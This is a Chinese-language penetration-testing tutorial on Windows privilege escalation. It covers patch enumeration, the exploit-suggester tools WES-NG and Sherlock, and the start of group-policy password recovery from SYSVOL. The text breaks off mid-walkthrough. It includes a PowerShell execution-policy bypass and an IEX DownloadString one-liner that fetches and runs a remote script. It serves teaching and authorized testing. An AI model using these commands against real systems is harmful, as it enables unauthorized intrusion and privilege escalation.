内网渗透测试 | 如何在内网中提升权限
2023-10-18 17:46:20 Author: www.freebuf.com(查看原文) 阅读量:11 收藏

在进入内网后,我们如果没有一个较高的权限,有很多命令是无法进行运行的,所以我们在开始内网漫游之前,提权是我们所必须要做的一个东西,这篇文章简单的讲述提权相关的知识,希望能对在学习内网提权的师傅们有所帮助。

内核溢出漏洞提权

原理

在学习这个提权方式之前,我们首先要了解内核溢出漏洞,什么是内核溢出漏洞呢?

溢出漏洞利用,是指存在缓存溢出安全漏洞的计算机中,攻击者可以用超出常规长度的字符数来填满一个域,通常是内存区地址。在某些情况下,这些过量的字符能够作为可执行代码来运行,从而使得攻击者可以不受安全措施的约束进行攻击行为。

了解了溢出漏洞,我们接下来再说溢出漏洞提权的原理就很简单了,即利用Windows系统中没有打补丁的内核溢出漏洞进行攻击。具体过程如下

手动查找系统潜在漏洞

1、查看当前用户权限

whoami /groups

如果是中等权限,即Medium Mandatory Level,具体如下图

image-20231013164531675

此时我们是没有权限进行添加用户等操作的,权限较低,此时就需要进行一个提权。

2、查找当前机器安装补丁

具体指令如下

systeminfo

image-20231013170450790

补充:除了systeminfo,还有个指令也可以查询补丁列表,具体如下

wmic qfe get caption,description,hotfixid,installedon

image-20231013171958268

3、查询未修复内核漏洞

接下来可以利用在线网站进行辅助查询,查询这些补丁对应的内核漏洞,剩下的本机无补丁对应的内核漏洞,可能就是可以利用的漏洞。网站链接如下

http://blog.neargle.com/win-powerup-exp-index/

https://i.hacking8.com/tiquan/

wmic指令得到的数据放在刚刚的在线网站上亦可找到对应的可能存在的Exp

image-20231013172236896

4、执行EXP

找到了可能存在的Exp,找到对应版本,比如Winserver2003就找Winserver2003版本下的可用Exp,然后进行尝试即可。

自动查询系统潜在漏洞

Windows Exploit Suggester

这里使用的工具是Windows Exploit Suggester,具体链接如下

https://github.com/GDSSecurity/Windows-Exploit-Suggester

我们这里用本机下载,下载过后首先更新漏洞库,具体指令如下

python2 windows-exploit-suggester.py --update

执行指令过后生成一个xls文件,漏洞信息都存放在这里

接下来我们去目标机执行systeminfo >1.txt,将目标机补丁列表信息提取出来

image-20231013180930825

将此文件导出,放入我们的kali中,而后运行如下指令

python2.7 windows-exploit-suggester.py --database 2023-10-13-mssb.xls --systeminfo 1.txt 

image-20231014002031921

此时即得到可能存在的漏洞,而后尝试对应Exp即可

注:这个工具需要在python2环境下运行,在运行工具前需先安装xlrd1.2.0版本,具体指令如下

python2.7 -m pip install xlrd==1.2.0 

默认的python2.7是未安装pip的,所以你需要先安装pip,再安装xlrd

image-20231014002226092

WES-NG

这个工具是上个工具的升级版,相对来说使用更方便些,最起码不用安装对应版本pythonxlrd了,这里安装相对简单。工具链接如下

https://github.com/bitsadmin/wesng

下载过后运行如下指令更新漏洞库

python wes.py --update

image-20231014004853417

运行过后将目标机上的systeminfo信息导入到1.txt文件中,而后运行如下指令

python .\wes.py .\1.txt

image-20231014004434700

此时可以看到详细的漏洞数据,包括内核漏洞对应CVE编号及其补丁号以及漏洞危害等信息

Sherlock

Sherlock是一个在Windows下用于本地提权的PowerShell脚本。工具链接如下

https://github.com/rasta-mouse/Sherlock/blob/master/Sherlock.ps1

首先这里为了绕过powershell的执行策略(为了能够执行未授权的脚本),我们这里启动命令如下

powershell.exe -exec bypass

image-20231014005810828

接下来我们使用Import-Module ./Sherlock.ps1导入脚本,而后运行Find-AllVunlns查找漏洞

image-20231014005832499

如上图中标注的Appears Vulnerable,即代表存在漏洞

注:远程导入脚本可以替代本地导入,远程导入脚本指令如下

IEX (New-Object System.Net.Webclient).DownloadString(‘https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1’)

image-20231014010158203

组策略提权

当域管理员在使用组策略进行批量、统一的配置和管理,如果配置组策略的过程中需要填入密码,那么该密码会被保存到共享文件夹\SYSVOL下,又因为\SYSVOL文件夹是在安装活动目录时自动创建的,所有经过身份验证的域用户、域信任用户具有读权限的活动目录的域范围内共享,所有的域策略都存放在SYSVOL下,虽然保存的密码通过AES 256进行加密,但密钥是公开在微软官网的,所以我们是可以进行解密的。因此,当管理员使用组策略修改过密码时,我们是可以通过组策略提权的。

具体示例如下:

image-20231015233712351

这里我们选择组策略对象,右键新建,建立一个名为test的GPO对象

image-20231015233840817

接下来右键test,选择用户配置中的本地用户和组,右键,选择新建本地用户

image-20231015234003899

接下来将Administrator重命名为admin,密码命名为Qq123456.

image-20231015234140945

此时用户创建完成,接下来我们访问C:\Windows\SYSVOL\domain\Policies文件夹

image-20231015234537281

发现有多个文件夹,此时回到test用户查看其信息,可以发现其唯一ID


文章来源: https://www.freebuf.com/articles/web/381088.html
如有侵权请联系:admin#unsafe.sh